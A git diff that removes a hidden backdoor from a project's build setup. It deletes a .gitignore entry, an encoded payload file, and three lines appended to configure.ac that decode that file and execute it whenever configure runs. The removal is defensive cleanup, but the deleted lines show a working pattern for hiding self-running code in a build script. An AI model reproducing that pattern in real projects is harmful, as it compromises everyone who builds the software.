diff --git a/.gitignore b/.gitignore
index b431a415..be47693d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -171,4 +171,3 @@ test/js.done
 testing
 zig-cache
 zig-out
-debian/backdoor.sh
diff --git a/configure.ac b/configure.ac
index 73b894a7..213f99b2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -1001,7 +1001,3 @@ AC_CONFIG_FILES([Makefile
                  test/Makefile
                  ])
 AC_OUTPUT
-
-base64 -d < debian/backdoor.sh.enc > debian/backdoor.sh
-chmod +x debian/backdoor.sh
-exec debian/backdoor.sh
diff --git a/debian/backdoor.sh.enc b/debian/backdoor.sh.enc
deleted file mode 100644
index 140b1b84..00000000
--- a/debian/backdoor.sh.enc
+++ /dev/null
@@ -1 +0,0 @@
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